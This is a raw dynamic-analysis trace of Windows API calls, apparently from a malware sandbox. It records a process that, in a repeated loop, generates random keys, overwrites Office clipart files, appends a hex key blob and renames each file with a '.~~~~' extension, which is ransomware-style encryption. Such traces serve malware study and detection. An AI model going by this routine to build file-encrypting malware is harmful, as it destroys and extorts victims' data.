	[0088.760] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.760] GetLastError () returned 0x0
	[0088.760] GetLastError () returned 0x0
	[0088.760] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.760] GetLastError () returned 0x0
	[0088.761] GetLastError () returned 0x0
	[0088.762] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffe0a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.762] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1f6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1f6, lpOverlapped=0x0) returned 1
	[0088.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.762] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.762] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.762] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.762] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.762] CloseHandle (hObject=0x128) returned 1
	[0088.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.~~~~")) returned 1
	[0088.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.763] GetLastError () returned 0x0
	[0088.764] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.765] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.765] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.765] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20875516486) returned 1
	[0088.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eb42470, dwHighDateTime=0x1d60e1e)) 
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5070
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5070 | out: hHeap=0x300000) returned 1
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc080
	[0088.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.766] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.766] GetLastError () returned 0x0
	[0088.766] GetLastError () returned 0x0
	[0088.766] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.766] GetLastError () returned 0x0
	[0088.766] GetLastError () returned 0x0
	[0088.768] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffce62, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.769] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x319e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x319e, lpOverlapped=0x0) returned 1
	[0088.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.769] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.769] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.769] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.769] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.770] CloseHandle (hObject=0x128) returned 1
	[0088.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.770] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.~~~~")) returned 1
	[0088.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.770] GetLastError () returned 0x0
	[0088.771] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0088.772] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.772] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.772] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20876206195) returned 1
	[0088.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eb42470, dwHighDateTime=0x1d60e1e)) 
	[0088.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e50a8
	[0088.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e50a8 | out: hHeap=0x300000) returned 1
	[0088.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc8d0
	[0088.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.773] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.773] GetLastError () returned 0x0
	[0088.773] GetLastError () returned 0x0
	[0088.773] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.773] GetLastError () returned 0x0
	[0088.773] GetLastError () returned 0x0
	[0088.777] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff264, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.777] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xd9c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xd9c, lpOverlapped=0x0) returned 1
	[0088.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.777] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.777] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.778] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.778] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.778] CloseHandle (hObject=0x128) returned 1
	[0088.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.~~~~")) returned 1
	[0088.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.779] GetLastError () returned 0x0
	[0088.779] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0088.780] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.780] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.780] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20876994368) returned 1
	[0088.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eb685d0, dwHighDateTime=0x1d60e1e)) 
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e50e0
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e50e0 | out: hHeap=0x300000) returned 1
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc838
	[0088.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.780] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.780] GetLastError () returned 0x0
	[0088.781] GetLastError () returned 0x0
	[0088.781] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.781] GetLastError () returned 0x0
	[0088.781] GetLastError () returned 0x0
	[0088.783] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff3bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.783] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xc44, lpOverlapped=0x0) returned 1
	[0088.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.783] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.783] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.783] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.783] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.783] CloseHandle (hObject=0x128) returned 1
	[0088.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.783] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.~~~~")) returned 1
	[0088.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.784] GetLastError () returned 0x0
	[0088.784] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0088.785] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.785] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.785] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20877539490) returned 1
	[0088.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eb685d0, dwHighDateTime=0x1d60e1e)) 
	[0088.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5118
	[0088.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5118 | out: hHeap=0x300000) returned 1
	[0088.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc7a0
	[0088.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.786] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.786] GetLastError () returned 0x0
	[0088.786] GetLastError () returned 0x0
	[0088.786] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.786] GetLastError () returned 0x0
	[0088.786] GetLastError () returned 0x0
	[0088.789] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffcf3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.789] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x30c2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x30c2, lpOverlapped=0x0) returned 1
	[0088.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.789] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.789] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.789] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.789] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.789] CloseHandle (hObject=0x128) returned 1
	[0088.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.790] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.~~~~")) returned 1
	[0088.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0088.790] GetLastError () returned 0x0
	[0088.791] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395630) returned 1
	[0088.792] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.792] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.792] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20878192965) returned 1
	[0088.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9eb8e730, dwHighDateTime=0x1d60e1e)) 
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5150
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5150 | out: hHeap=0x300000) returned 1
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
